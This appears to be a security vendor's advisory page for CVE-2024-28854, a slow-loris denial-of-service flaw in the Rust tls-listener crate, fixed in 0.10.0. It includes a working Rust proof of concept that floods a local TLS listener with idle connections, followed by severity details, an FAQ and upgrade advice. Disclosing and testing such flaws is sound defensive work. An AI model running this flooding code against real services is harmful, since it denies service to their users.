CVE-2024-28854

tls-listener affected by the slow loris vulnerability with default configuration

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2024-28854 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.10.0); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2024-28854? CVE-2024-28854 is a high-severity uncontrolled resource consumption vulnerability in tls-listener (rust), affecting versions <= 0.9.1. It is fixed in 0.10.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2024-28854? CVE-2024-28854 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of tls-listener are affected by CVE-2024-28854? tls-listener (rust) versions <= 0.9.1 is affected.
4. Is there a fix for CVE-2024-28854? Yes. CVE-2024-28854 is fixed in 0.10.0. Upgrade to this version or later.
5. Is CVE-2024-28854 exploitable, and should I be worried? Whether CVE-2024-28854 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-28854 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-28854? Upgrade tls-listener to 0.10.0 or later.